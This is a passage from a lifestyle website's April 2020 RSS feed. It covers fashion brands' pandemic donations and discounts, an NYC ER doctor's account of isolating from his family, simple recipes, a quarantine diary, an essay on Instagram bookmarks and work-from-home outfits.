    +Lele Sadoughi – Donating 5% of proceeds to Meals on Wheels.
    +Everybody.World – Bundles added to Factory Flea from which 25% of each sale will go to Rainy Day Fund to cover the lost wages of factory workers who can’t work from home.
    +Universal Standard – Offering a free piece from the Foundation collection to every doctor, nurse, and medical worker who wants one, while supplies last.
    +Mansur Gavriel – With every purchase of the Bucket Bag (of any size and color), 10% of sales will be donated to GlobalGiving’s Coronavirus Relief Fund, which supports immediate and long-term relief within vulnerable communities.
    +Fivestory – Take 15% off the entire site, 15% of all proceeds will support the WHO’s Covid-19 relief efforts.
    +Machete Jewelry – Has partnered with Mask Match to donate masks to workers and hospitals who need them now by selling about 10,000 pieces of jewelry on their website at 50% off (pieces will range from $12 – $78). For each sale and piece purchased, they will be able to donate up to 25 masks.
    +AGMES – Donating 15% of all online sales now through April 15th to No Kid Hungry.
    +Marina Moscone – Producing Level 1 protective masks, donating directly to the staff at Mt. Sinai and Bellevue hospitals.
    +Coco Shop – 20% of proceeds to Feeding America plus 10% off your first order
    +Loup – 15% of proceeds to Meals on Wheels
    +Mr.Larkin – Donating 10% of proceeds from their collection to Houston Food Bank plus an additional 25% off new season arrivals with Mr. Larkin’s Thank You Sale.
    +Still Here – Donating 20% percent of sales to local NYC food bank Sephardic Food Fund.
    +Wol HideShibori dyed tee proceeds are being donated to the Philadelphia food bank Philabundance.

    +

    Brands offering discounts

    +

    Susan Alexandra – 20% site-wide applied at checkout plus complimentary domestic shipping.
    +Lisa Says Gah – New loungewear added to sale section on site.
    +Batsheva – Free shipping on US orders and a robust sale section.
    +Pretties – Loungewear and intimates selection curated on site.
    +Terry T – Free express shipping on all orders within Australia with the code ‘STAYHOME’ at checkout.
    +Ciao Lucia – 20% off the site with code ‘STAYHOME20.’
    +Brother Vellies – Orders placed will ship in 3-5 business days. Complimentary ground shipping is available for orders over $100 within the US.
    +Labucq 15% off site-wide through April 15.
    +Knickey Underwear – Free Shipping on US Orders over $60.
    +Parade – Save 20% on select styles.
    +Kule – Free shipping and returns.
    +Megababe – 15% off site-wide with code ‘STAYHOME15.’
    +Alison Lou – Fist-ever sample sale now online. Get 15% off with code ‘SPRING15.’
    +Rowing Blazers – Free shipping on all US orders.
    +Rachel Comey – Up to 60% off sample sale.
    +11 Honore – 20% off with code ‘MAR20.’
    +L.F.Markey – Mid season sale, discount applied automatically.
    +Wolf Circus – 15% off site wide with code ‘CYBERHUG.’
    +EMILY DAWN LONG – 10% discount on all online orders using code ‘THANKYOU10.’
    +Warm – 25% off with code ‘warmlove25’

    +

    Big brand donations of note

    +

    The Ralph Lauren Corporate Foundation – Committing $10 million to help teams, partners and communities impacted by the novel coronavirus pandemic. – RalphLauren.com
    +Gucci – Pledging 2 million euros to fight the COVID-19 pandemic. – Gucci.com
    +Armani – Giorgio Armani has pledged to donate a total of 2 million euros to Italy’s Civil Protection and various Italian hospitals – Armani.com
    +MAC Cosmetics – Will distribute $10 million to 250 local organizations across the globe supporting COVID-19 relief efforts – MacCosmetics.com
    +PradaPrada S.p.A is financing the ICUs of three new hospitals in Milan. The Italian company has also reconfigured its factory in Perugia to produce 110,000 masks and 80,000 medical garments that will be delivered to Tuscan hospitals on April 6. – PradaGroup.com
    +LVMH – Using the manufacturing facilities of its perfume and cosmetics brands to process large amounts of hydroalcoholic gel, which it will distribute free of charge to health authorities in France. It has also promised to donate 40 million face masks. – LVMH.com
    +AG – AG has committed to donate $1 million to COVID-19 LA County Response Fund to help support community clinics and hospitals across the county. – AG
    +Aritzia – All profits will go to the Aritzia Community Relief Fund to pay employees and support their families through this challenging time. – Aritzia.com

    +

    Feature photo via CIAO LUCIA.

    +

    The post A Running List of Fashion Brands Making Donations, Offering Discounts, Trying to Survive Right Now appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/fashion-brands-donations-discounts.html/feed + 36 +
    + + Inside Story: The ER Doctor Who’s Renting an Airbnb Away From His Family + https://www.manrepeller.com/2020/04/inside-story-er-dr-nyc.html + https://www.manrepeller.com/2020/04/inside-story-er-dr-nyc.html#comments + Fri, 03 Apr 2020 14:00:56 +0000 + + + + https://www.manrepeller.com/?p=206648 + As Covid-19 has developed over the course of the past months, weeks, and days, our plans have changed and so have our lives. And it appears this will be the norm for a while. In this series (duration: a few weeks to…not sure?), we’ll share the stories of people who have confronted the unexpected in […]

    +

    The post Inside Story: The ER Doctor Who’s Renting an Airbnb Away From His Family appeared first on Man Repeller.

    +]]>
    + As Covid-19 has developed over the course of the past months, weeks, and days, our plans have changed and so have our lives. And it appears this will be the norm for a while. In this series (duration: a few weeks to…not sure?), we’ll share the stories of people who have confronted the unexpected in interesting ways. Today, we have a New York City-based ER doctor, who is staying in an apartment a few blocks away from his wife and child, to protect them from exposure to the virus he’s working around the clock to treat. —Mallory

    +
    +

    I’m an ER doctor in New York City, so on a typical day I take care of all sorts of problems. One moment, I could be treating someone with a heart attack or stroke, and the next minute I could be helping someone figure out whether they’re pregnant or helping someone who’s fractured their arm and needs a splint. The day kind of goes like that—from true emergencies to more mundane or benign complaints. It’s part of what makes our jobs as ER doctors interesting and exciting.

    +

    I noticed things were starting to change while working a specific overnight shift about a week and a half ago. I realized there were no other cases in the emergency room. I was no longer seeing that variety of complaints. Everybody had the same symptoms—a fever, a cough, body aches, chills, severe fatigue, and weakness. It’s gotten to the point where it seems like every single person is coming in with the exact same malady, and there’s very little variability now in the care I provide. It’s really quite stunning, because part of what we love as emergency doctors is the unknown, and now these symptoms are part of our daily routine.

    +

    Once I realized that the coronavirus was probably everywhere, and every patient and really any interaction outside the house was a possible exposure, my wife and I talked about what we can do to protect each other and our son. Overall, I would say we’re still in the lower-risk category—we definitely see a lot of young people get sick from coronavirus, but those cases are less common than the 70-year-old with multiple medical conditions. That said, we want to make sure we’re not getting sick at the same time. Taking care of a toddler when we’re sicker than we probably have ever been in our lives is not something we can feasibly do.

    +
    On Monday, the USNS Comfort docked on the Hudson River to help ease the stress on the New York City hospital system.
    +

    I’ve talked to a lot of families where both parents are sick, and they’ve said that taking care of their children is the hardest part of all this. So, in order to not take any chances and to not be patient zero in my household, we rented an Airbnb apartment a few blocks away where I’ve been staying for about two-and-a-half weeks now. I just extended it for another couple weeks so we have a safe place for me to stay. I think I was one of the first doctors or nurses to do this. But as the weeks have progressed, I now know of at least half a dozen to a dozen colleagues who are in the same boat. They’ve either sent their kids away or have rented apartments. Now our hospital is providing some limited housing, and there are also hotels opening up rooms at discounted rates for hospital workers.

    +

    To keep in touch, we do a lot of Zoom. Last night, we played Taboo with a group of friends, which was an interesting experience, but it worked. I also keep in contact with my work colleagues this way. We have Zoom meetings to keep ourselves grounded and talk about how things are going across the country. There are also text message threads and FaceTiming. I’m probably communicating with my friends outside of work a lot more than I would on a normal basis.

    +
    I don’t go to work afraid—I go to work thinking I have a job to do.
    +

    Usually, when I’m at home, I’m woken up by my toddler kicking me or crying at 6 or 7 in the morning. You’d think I’d actually be getting better sleep when I’m sleeping at an Airbnb on my own. But I find that I’m waking up in the middle of the night, almost every night, around 2 or 3 a.m., feeling very anxious, worried about what the day is going to hold. I don’t remember ever feeling these feelings of doom. I don’t go to work afraid —I go to work thinking I have a job to do, and it’s my responsibility to take care of these patients, which is what I signed up for. It sounds cliche, but we’re taught to run toward danger as emergency doctors. We put our heads down, but we’re shocked, consistently, on a daily basis, about how bad things are getting or can get.

    +
    + +
    +

    +

    If you look at the recent maps that have come out depicting the impact by borough and by neighborhood, they show that the virus is disproportionately affecting the poorer communities in the Bronx and Queens. I think the [numbers are going up for lower-income people] because as people get poorer, they live in larger family households. We know from China that much of the transmission, early on especially, was happening in households. Another component is whether low-income communities are getting the right messaging. Do they have access to the same experts telling them to stay home? They also often have to work hourly jobs to survive, so many of them are doing work like delivery or construction with much more frequency. And then finally, there’s usually less access to care in those communities, so you could have a 40-year-old with uncontrolled diabetes because they don’t get to see a doctor with the same regularity as someone who lives on the Upper West Side or the East Village. The inequality is pretty stark.

    +

    Our hospital has been very progressive in terms of how they’re protecting us. We’ve been wearing masks and goggles at all times in all clinical areas for the past three weeks. We clean our goggles after every patient interaction and we try to exchange our masks as often as we can, especially if they get wet or visibly soiled. Many of us are wearing N95 masks the entire time we’re on-shift and then covering those with regular procedure masks—that way we can keep one N95 the whole shift and then just exchange the procedure mask that covers it. We also wear gowns for every patient interaction, and we exchange those gowns between patients. Even if I’m sitting at my computer, I’m still wearing goggles and a face mask at all times. We wash our hands excessively. My hands are raw. I have skin breakdown on the entirety of my left and right hands and wrists, just from scrubbing and washing my hands so frequently. We have indentations on our faces from wearing the masks 12 hours a day. Despite that, we are still getting sick sometimes. We’re human. Sometimes people will take off their goggles and forget and maybe rub their eye with their hand.

    +

    I think one problem that the public may not be aware of is that we’re focused on New York City right now—pouring in resources, talking about ventilators, staff coming from across the country to help us. Those things are very important, but I think in the next week or two we’re going to realize that it’s not just New York that needs help. There are cases in New Orleans that are hitting the news, Philadelphia, Detroit. You can always isolate New York State and New York City and pull resources and get ventilators and staff here, but what happens to those areas that are not yet at the same level of pandemic as we are? What happens when we have not one or two cities that are seeing a tremendous spike in cases and it’s now a national issue?

    +
    If you want to do something to support medical workers today, continue to stay at home.
    +

    The other thing that I think is helpful to pass on is that the tracking of cases is valuable in some ways, but it’s also quite misleading. The more you test, the more cases you’re going to find. New York has a lot of cases because we tested people for two weeks—we set up outpatient testing centers, we did drive-through testing centers, urgent cares were testing. But now you’re not going to get a test unless you’re sick enough to be admitted to the hospital. I turn down probably 80% of the people I see in my ER for testing because they’re not sick enough to be admitted. So the case number is going to seem like it’s dropping but what’s more important to follow is the number of people who are dying each day. That’s more indicative of the severity, and it’s also indicative of how many people are getting truly infected. We have to remember that the people who are sick now were infected seven to nine to 10 days ago. So those numbers lag even further. We’re not out of the woods yet.

    +

    If you want to do something to support medical workers today, continue to stay at home. 15 days is not a magic bullet. It’s not going to be enough, most likely. This is going to require a longer-term self-isolation and social isolation to make sure we combat this. I still go to Central Park or the East River promenade and see kids playing together. The Great Lawn [in Central Park] is packed with people on a sunny day, listening to music and playing sports. Unless we really make a true commitment, we will continue to see deaths at a level that we’ve never been accustomed to. We are not through this yet, and we, as a younger generation, are not exempt. There are many, many people in their 20s and 30s who are getting critically ill from this disease. I would urge people to take action—before they learn the hard way, when someone they know gets sick.

    +
    +

    If you have the means to contribute, consider supporting the following organizations:

    + + +
    +
    You can also donate blood or visit NYC.gov’s volunteer page for more information about opportunities for healthcare and non-healthcare workers.

    +
    +

    Graphics by Lorenza Centi. Images via Getty.

    +

    The post Inside Story: The ER Doctor Who’s Renting an Airbnb Away From His Family appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/inside-story-er-dr-nyc.html/feed + 8 +
    + + The Easiest (and Best) Four-Ingredient Recipes, According to 3 Female Chefs + https://www.manrepeller.com/2020/04/four-ingredient-recipes.html + https://www.manrepeller.com/2020/04/four-ingredient-recipes.html#comments + Fri, 03 Apr 2020 13:00:47 +0000 + + + + https://www.manrepeller.com/?p=206044 + During a six-month period of extreme money-saving in the lead up to moving to New York, I had the same thing for lunch every single day: a can of tuna and half an avocado, sliced, served on three round rice cakes. At the time, I wondered if I’d ever get bored of this beyond-basic meal, […]

    +

    The post The Easiest (and Best) Four-Ingredient Recipes, According to 3 Female Chefs appeared first on Man Repeller.

    +]]>
    + During a six-month period of extreme money-saving in the lead up to moving to New York, I had the same thing for lunch every single day: a can of tuna and half an avocado, sliced, served on three round rice cakes. At the time, I wondered if I’d ever get bored of this beyond-basic meal, but every day for six months at 11.30 a.m. (the best time to have lunch) I looked forward to it. Even now, more than three years later, I’m still overcome with delight whenever I realize I have all the makings of this meal in my pantry.

    +

    While I love my lunch recipe with the whole of my heart, I’m very aware that most people—particularly the tuna-fish averse—would definitely not. In an effort to find more delicious but simple recipes to add to my limited mental recipe book, I reached out to three female food experts (read: restaurant owners and chefs) to share their best recipe with fewer than five ingredients. Here’s what they came up with:

    +
    +

    The Homemade Salsa That Will Make You Feel Like You’re Capable of Anything

    +

    Natalie Hernandez, chef and owner of Boca Santa

    +

    Salsa Tatemada is our go-to salsa. It goes with everything from scrambled eggs to sandwiches to quesadillas to tacos, of course.

    +

    Ingredients:
    +4–5 Serrano peppers
    +4 plum tomatoes
    +2 medium garlic cloves
    +1½ teaspoons salt

    +

    Method:
    +Place a comal or a cast-iron skillet over high heat. Place plum tomatoes and Serrano peppers on skillet or comal to char, flip occasionally, until all ingredients are cooked through and charred, about 15–20 minutes. Turn the heat off the comal or skillet, and set aside.

    +

    While veggies are charring, place garlic cloves, salt, and ⅕ cup water in blender and blend on high for about 30 seconds, or until garlic is completely broken down and there are few to no chunks left.

    +

    Once veggies are charred and cooked fully through, add them to blender, making sure to have removed stems from peppers, and pulse veggies and garlic mixture in blender until veggies are broken down but still have a chunky consistency.

    +

    The Cookie That’s a Thousand Times Simpler Than It Looks (and Tastes)

    +

    Christina Tosi, chef, founder, and owner of Milk Bar

    +

    This is the recipe I grew up making. It’s what I make with my nieces and my family, and it always gives me a little sense of togetherness—plus, it’s only four ingredients!

    +

    Ingredients:
    +1 cup (2 sticks) unsalted butter, softened
    +½ cup packed light brown sugar
    +2 cups flour, plus more for dusting
    +½ teaspoon salt

    +

    Method:
    +Heat the oven to 350°F. Spray your baking sheets.

    +

    In a large bowl, combine the softened butter and sugar with a wooden spoon (or in a stand mixer with the paddle attachment). Mix until the butter and sugar are smooth. In a separate bowl, stir together the salt and flour, then mix this into the sugar and butter, a little at a time. After the first two additions of flour (if you’re not doing this with a stand mixer) it may be easiest to ditch the spoon and use your hands.

    +

    Form the dough into a ball, and divide the ball into three pieces. Place each piece into a plastic sandwich bag and pat the dough smooth and flat with your hands. Refrigerate for 15 minutes.

    +

    Dust a clean, dry section of your countertop with flour. Place the dough down and use a flour-dusted rolling pin to roll it out until it is a ¼ inch thick (use a ruler!) Use your favorite cookie cutters to cut the dough into shapes. Using a metal spatula, lift the shapes and transfer them to your greased baking sheets. If you use a range of sizes and shapes, keep the bigger cut-outs on one baking sheet and the smaller cut-outs on the other baking sheet.

    +

    Bake the cookies at 350°F for 5 to 10 minutes (depending on size of your cut-outs), until the edges of the cookies are golden brown. With oven mitts, remove the baking sheets from the oven and cool the cookies completely on the baking sheets.

    +

    The Mac and Cheese That’s Begging For Your Potato Chip Crumbs

    +

    Libby Willis, owner MeMe’s Diner

    +

    A simple comforting recipe that can be made quickly and feel luxurious rich with even cheaper ingredients.

    +

    +

    Ingredients:
    +1 lb pasta (any shape will work here—at MeMe’s we use shells)
    +1 12 oz can of evaporated milk
    +1 lb shredded cheddar cheese (any kind of easily melting cheese works here—I like sharp cheddar)
    +8 oz American cheese cut into cubes

    +

    Optional toppings: A pinch of salt, chili oil, or crumbled potato chips (really anything crunchy!)

    +

    Method:
    +In a large pot, boil salted water. Then, cook pasta until al dente.

    +

    For cheese sauce: In a saucepan over medium heat, add evaporated milk, shredded cheese, and American cheese. Stir frequently with a flexible spatula to avoid scorching cheese. When the sauce is melted, add cooked pasta. Stir until combined.

    +

    Top each serving with crushed potato chips and something spicy. If you are making a batch for just yourself and plan to have leftovers, I recommend storing the cheese sauce and the cooked pasta separately. This way you can reheat the sauce before adding the pasta, to prevent it from overcooking. The cheese sauce is also great added to eggs for a cheesy scramble, or on chips like queso.

    +
    +

    What’s your favorite just-a-handful-of-ingredients meal? Send your suggestions my way! And don’t forget to let me know if you try out any of the above—I’ll be cheering you on from my apartment.

    +

    Finally, both Boca Santa and MeMe’s Diner are currently accepting donations to their staff relief funds. If you try and love these recipes, and have some money to spare, please consider a donation.

    +

    The post The Easiest (and Best) Four-Ingredient Recipes, According to 3 Female Chefs appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/four-ingredient-recipes.html/feed + 21 +
    + + The Banalities of a Day in the Life During Quarantine + https://www.manrepeller.com/2020/04/the-banalities-of-quarantine.html + https://www.manrepeller.com/2020/04/the-banalities-of-quarantine.html#comments + Fri, 03 Apr 2020 12:00:39 +0000 + + + + https://www.manrepeller.com/?p=206405 + 9:21 a.m.: By this hour, I’ve worn exactly three outfits if you count the pajamas that I started in, which I do, because they were an integral part of the Thoughtline’s WFH Dressing Challenge. I’ve been sitting cross-legged at the head of my bed with my computer in my lap and am now wearing a […]

    +

    The post The Banalities of a Day in the Life During Quarantine appeared first on Man Repeller.

    +]]>
    + 8:30 a.m.: I have been up for one hour. In the time since I’ve risen, I am ashamed to confess that I have taken 21 photos with my iPhone—one, a response to the morning dressing prompt from Man Repeller’s Thoughtline (the artist formerly known as a text service). I have attempted to eat three breakfasts, starting with a bowl of cereal, which was co-opted by my daughter Madeline, who was consuming one of her own. The second was a trio of banana bread muffins which I made last Sunday, one-and-a-half of which were co-opted by a combination of Laura (my other daughter) and Abie (my son. I mean partner). Finally, I toasted two slices of bread, slathered avocado on them, topped with a hard-boiled egg , and no one, I repeat no one, tried to get in the way of my eating them. It seems in order to feed myself around these parts, I must relegate my desire for something sweet and eat only the boring savory artifacts of my refrigerator. Noted. +

    +

    9:21 a.m.: By this hour, I’ve worn exactly three outfits if you count the pajamas that I started in, which I do, because they were an integral part of the Thoughtline’s WFH Dressing Challenge. I’ve been sitting cross-legged at the head of my bed with my computer in my lap and am now wearing a navy blue day dresscum-night gown and silver slippers. I’ve read a 10-page memo from a credit analyst, I’ve re-read the draft of a story that’s going up next week. I’ve picked my left eyebrow and evaluated the most recent trove of comments under this story underlining the morally-ripe conflict of whether one should shop right now. Tl;dr: It’s complicated. The most disappointing and probably belated discrepancy I’m discovering amid this outbreak is the odds at which financial security and humanism stand.

    +

    +

    10:36 a.m.: Have you been bickering with your partner? I know this question only applies if you cohabitate, but Abie came over to give me a glass of water a little while ago and proceeded to kiss me, then smell me, and remark that I have b.o. Before the remark, he smelled me like four times, even obstructing mobility in my arm to lift it above my head and really get his nasal passage in there, at which point I snapped, expectedly in my view, but he snapped back. In his gentle but biting Abie way he said, “If you don’t want my nose in your armpit, just say that.”

    +

    Didn’t realize I had to when I signed on the dotted line, ya fuckin’ freak.

    +

    On the other hand, he brought me a glass of water, unprompted, just as my throat was getting dry. Googly eyes.

    +

    12:16 p.m.: Made lentil noodles for Madelaur, heated up some veggie burgers that I have had frozen since January—remember January?—and roasted some sweet potatoes and pan-fried cubes of chicken mixed with coconut aminos for Abie and me. I will say that I am pleased that where I once thought I could never be any good at running a household, it seems I can be pretty decent. I do not wish to do this forever, but I’m not letting the message get lost on me. Incidentally, it’s true that if you put your mind to something, you can achieve it. You don’t even necessarily have to want it, there just has to be no other option.

    +

    12:18 p.m.: I just donated $100 to Win. I’m not saying this to blow steam up my own ass or earn altruism points, but if you can donate anything, Win is the largest provider of shelter for homeless families in New York. Last year they helped transition 700 families out of shelter into their own homes! Employment is a requirement to apply for a housing voucher with Win, and after last week, the 53% of Win parents who were employed had dropped significantly, leaving the 5,400 children that the shelter serves at risk.

    +

    I still don’t know what I’m going to do to make a dent, but I won’t continue to discredit the small things.

    +

    1:05 p.m.: Just got home from a walk around the neighborhood. I wore gloves (but not a mask) and did not touch anything as I traversed Mulberry to Mott to Elizabeth Street and back. I was on the phone with my mom the whole time, who was telling me about a Friday-night dinner that occurred two weeks ago in Great Neck. Among the ten people who congregated to celebrate the Jewish Sabbath—immediate family members, to be clear, who live in different, neighboring homes—five got sick. Two died. I still don’t think we are aware of the severity of this virus.

    +

    1:25 p.m.: I’m feeling like a sociopath, in case you are wondering, because after letting the news sit heavy on my chest, I am about to go Live on Man Repeller’s Instagram to indulge a home tour, breaking down in less-than-exquisite detail the trivialities of this post. I couldn’t complete the tour because Abie was meditating in our bedroom, so instead I just let my head spin around my neck while I tried to catch comments, push notifications, and maintain eye contact. Going live is like indulging monkey brain to a far-out degree of magnitude but also, does anyone even actually want to watch them? Mallory said they’re kind of like fashion week events approaching peak whats-the-point-ism to the extent that everyone thinks they need to do one and no one really wants to go (or watch). Some of them make sense! Don’t get me (or her) wrong. But I thought it was a good observation.

    +

    4:30 p.m.: How you doing? In the past three hours, I have had one meeting, taken one phone call, recorded one more installment of this thing we started doing last week and am about to make dinner for everyone. I basically have not moved from the floor of my bedroom bathroom, which I say only to remind myself that even though I’m not physically moving, I am moving. You know what? I should physically move. I’m going to do 30 jumping jacks and 20 squats, then I’ll go cook salmon for Abie and make pizza for the kids and me.

    +

    +

    7 p.m.: I did it—I made pizza for the kids and me, using a cauliflower crust from Trader Joe’s, topped with tomato sauce, the last leaves of a giant bag of arugula and shredded Swiss cheese. I cut up romaine hearts and mixed in some avocado and toasted walnuts and dressed it in balsamic vinegar. Abie had that next to a piece of pan-fried salmon. I also made a new cracker/crudite dip for the week, which has pretty much been the best food hack I’ve uncovered during quarantine. So long as you can use nutritious, caloric items like chickpeas or lentils, you can hold yourself over during the hundreds if not thousands of snack breaks you are wont to take over the course of the day. I guess almond butter works too. But in case you’re wondering, I made a lentil/walnut dip this go around with:

    +

    +

    1 can lentils, drained (or cup of cooked lentils if you don’t have a can; cook them with 6 cups of water for 20 minutes)

    +

    1 cup toasted walnuts (put them in the oven for like, 10 minutes at 350)

    +

    3 teaspoons miso (not required but I really like miso)

    +

    Half an onion and two cloves of garlic, sauteed (Put them in a pan on oil for like, 15 minutes or until the onion gets mushy wushy), THEN THROW IT ALL IN A BLENDER, CALL IT A METAPHOR FOR YOUR FEELINGS AND MIX THEM ALL UP IN THE HOPES THAT WHEN THEY EMERGE FROM THE BLENDER, THEY’LL TASTE BETTER TOGETHER THAN THEY DID WHEN THEY WERE SEPARATE.

    +

    I should go to bed.

    +
    11:42 p.m.: This show is fucking crazy.
    +

    Feature image styled with Roller Rabbit pajamas and Ray-ban sunglasses.

    +

    The post The Banalities of a Day in the Life During Quarantine appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/the-banalities-of-quarantine.html/feed + 14 +
    + + The Emotional Evolution of Quarantine, as Told by My Instagram Bookmarks + https://www.manrepeller.com/2020/04/instagram-bookmarks-coronavirus.html + https://www.manrepeller.com/2020/04/instagram-bookmarks-coronavirus.html#comments + Thu, 02 Apr 2020 14:00:45 +0000 + + + + https://www.manrepeller.com/?p=206739 + Until two and a half weeks ago, my “saved” folder on Instagram told the indisputable tale of someone planning a wedding. It overflowed with images of long tables lined with colorful flower arrangements, bridal looks from old runway shows, hair #inspo, vintage stamps, registry fodder, no-makeup makeup, invitation suites, and candid shots of newlyweds obscured […]

    +

    The post The Emotional Evolution of Quarantine, as Told by My Instagram Bookmarks appeared first on Man Repeller.

    +]]>
    + Until two and a half weeks ago, my “saved” folder on Instagram told the indisputable tale of someone planning a wedding. It overflowed with images of long tables lined with colorful flower arrangements, bridal looks from old runway shows, hair #inspo, vintage stamps, registry fodder, no-makeup makeup, invitation suites, and candid shots of newlyweds obscured by a shower of petals. The last thing I bookmarked before the phrase “social distancing” became more commonplace than “hello” was a photo from a reception at a vineyard in Virginia: The couple set up a shelved trellis stacked with glasses in different shades of blue, so guests could serve themselves cold lemonade from an aesthetically pleasing dispenser.

    +
    +
    +

     

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    View this post on Instagram
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +

     

    +

    A post shared by Carats & Cake (@caratsandcake) on

    +
    +
    +

    +

    The same day I saved it, I received an email from a friend confirming that her dinner party was still happening as planned the next evening, unless that was crazy? Everyone assured her it wasn’t, that it would be fine, because at this point, fine was honestly how things felt. Our offices had declared working from home “optional” but not mandatory, restaurants remained open for business, face masks were rare–and besides, it was a small group, only eight people, minimal risk. So we all showed up, toting bottles of red wine as thank-you gifts, deciding we probably shouldn’t hug and teasing each other about it. It was one of those truly perfect nights when everyone gets just the right amount of drunk, when there’s enough bolognese to have seconds, when the suggestion of playing a game after dinner sounds genuinely appealing.

    +

    Like the wedding photos in my saved folder, this evening feels like a relic of another era. I’ve seen tongue-in-cheek tweets referring to the time before coronavirus as “beforetimes,” which is less humorous than it is appropriately dramatic. The distinction between then and now is stark to the point of seeming fictional, like some trick of the memory. My only evidence that I’m not losing it completely is the tangible line of demarcation that divides the wedding photos from what I started bookmarking next: memes. Corona memes, to be precise.

    +
    +
    +

     

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    View this post on Instagram
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +

     

    +

    the sacred texts @chillblinton

    +

    A post shared by Shitheadsteve (@shitheadsteve) on

    +
    +
    +

    +

    If I were attempting to psychoanalyze our collective processing of the bizarre experience that is sudden isolation via social media–which I suppose, to some extent, I am–I would call the influx of corona-related memes and jokes the “denial” phase. Denial that we were grieving the loss of our old routines, and with them, the assurance that it was safe to exit our apartments, much less eat dinner with friends. Band-Aids though they may have been, the jokes were still entertaining: Venn diagrams about chillin at home, pleas for Apple’s screen time reports to be suspended, spot-on comparisons to Russian Doll, alignment charts, hand-washing quips… I bookmarked them by the dozen, each one an artifact of the mounting effort it took to maintain a sense of levity.

    +
    +
    +

     

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    View this post on Instagram
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +

     

    +

    A post shared by Good News (@tanksgoodnews) on

    +
    +
    +

    +

    But news of the virus and its impact evolved rapidly, and with it, my instinct about what variety of content was worth memorializing and revisiting. As quickly as quarantine transformed from possibility to inevitability, many iterations of corona-related humor shifted from uplifting to unsettling. So instead, I bookmarked a photo of a man holding up a sign at a hospital window thanking the emergency room doctors for saving his wife, a clip of Hoda breaking into tears on the Today Show after a conversation with a football player who donated $5 million to coronavirus relief in Louisiana, a video of nurses taking a quick yoga break, a video of someone leaving toilet paper and hand sanitizer for people making deliveries, a PSA about businesses collecting donations to help feed those in need so I could remember to contribute later–any sliver of content that made me feel less alone in my spirals of anxious uncertainty, anything to feel connected to something bigger than the confines of my apartment that I know I’m deeply fortunate to live and work in right now.

    +
    +
    +

     

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    View this post on Instagram
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +

     

    +

    A post shared by Heidi – Apples Under My Bed (@heidiapples) on

    +
    +
    +

    +

    I’m not sure what the whims of my saved folder will call for next during this strange time, but based on the recipe for bright, creamy corn pasta I just bookmarked, I have a hunch it’s likely to be cooking-related. I rarely cooked before all of this happened, but it is slowly becoming less of a chore born of necessity and more of a pleasure born of the desire to delimit the end of each day with something tangible, something nourishing. I scroll through the “explore” tab on Instagram and pause every time I see a photo that looks edible. I fantasize about baking a large casserole in the oven and freezing the leftovers. I squeezed sausage out of their casings for the first time last weekend, and it felt more meditative than anything I’d done in days.

    +

    For now, like many aspects of life as we knew it, my wedding planning is in limbo. I can’t get my dress fitted until the seamstresses who are making it can safely return to work. I can’t meet with the rector and organist at the church where the ceremony is supposed to take place. I might have to postpone the event altogether. I know these problems are minuscule in the grand scheme of what is happening right now–trivial, even–but they’re also a glimmer of what awaits in the aftertimes: celebrating together. Dressing up. Dancing outside. Sharing dessert out of the same bowl, all the sweeter because we had to wait.

    +

     

    +

    The post The Emotional Evolution of Quarantine, as Told by My Instagram Bookmarks appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/instagram-bookmarks-coronavirus.html/feed + 11 +
    + + (Out of) Office Apropos: 5 Outfits We Wore Working From Home This Week + https://www.manrepeller.com/2020/04/spring-out-of-office-apropos-2.html + https://www.manrepeller.com/2020/04/spring-out-of-office-apropos-2.html#comments + Thu, 02 Apr 2020 13:00:21 +0000 + + + + https://www.manrepeller.com/?p=206222 + It’s officially April, whether you can believe it or not, and spring feels 100% sprung. Last week, six members of Team MR shared how they got dressed for a day that involved work but no commute or IRL meetings. Below, Harling, Mikaela, Sabrina, Mallory, and Edith do the same while discussing the shoes they miss, […]

    +

    The post (Out of) Office Apropos: 5 Outfits We Wore Working From Home This Week appeared first on Man Repeller.

    +]]>
    + It’s officially April, whether you can believe it or not, and spring feels 100% sprung. Last week, six members of Team MR shared how they got dressed for a day that involved work but no commute or IRL meetings. Below, Harling, Mikaela, Sabrina, Mallory, and Edith do the same while discussing the shoes they miss, outfits they’re planning for (maybe) May, and the art of taking a one-legged selfie in non-stretch denim. Behold, another edition of Spring Office Apropos, extremely shaken, with an unprecedented twist.

    +
    +

    Harling

    +


    +I didn’t feel like wearing a practical WFH ensemble today, so instead I styled myself in an outfit I would like to wear on the first 70-degree day in May, safety protocols permitting. It was nice to clothe myself in items that aren’t conducive to wallowing around in an apartment (see: denim shorts that dig into my pelvis every time I sit and a linen crop top that is prone to wrinkles, not to mention the completely ancillary purse and sunglasses)—it ‘s like holding a plank for 60 seconds, just to prove to myself that I still can. I will admit that I changed out of the shorts after an hour or so, but their effect lingered on. For all of the limitations of homebound dressing, I do think it’s worth celebrating the fact that you can wear exactly what your gut wants or even needs, completely independent of whatever the weather outside happens to be doing.

    +

    Mikaela

    +


    +Aside from the fact I had to heavy-duty clean this entire countertop and put my bevy of drugstore makeup ~just~ out of frame to take this photo, I’m relatively proud of my ability to one-legged-selfie while in non-stretch denim! Believe it or not, these jeans are actually comfortable WFH wear, probably due to the massive rip in the right leg. I wear the same set of earrings every single day: my vintage Oscar de la Renta hoops and two Repeller charm earrings (without the charms, which are currently hanging out on some necklaces of mine). I doubled up on the scrunchies because we all have to find a way to put a little pep in our step these days.

    +

    Sabrina

    +


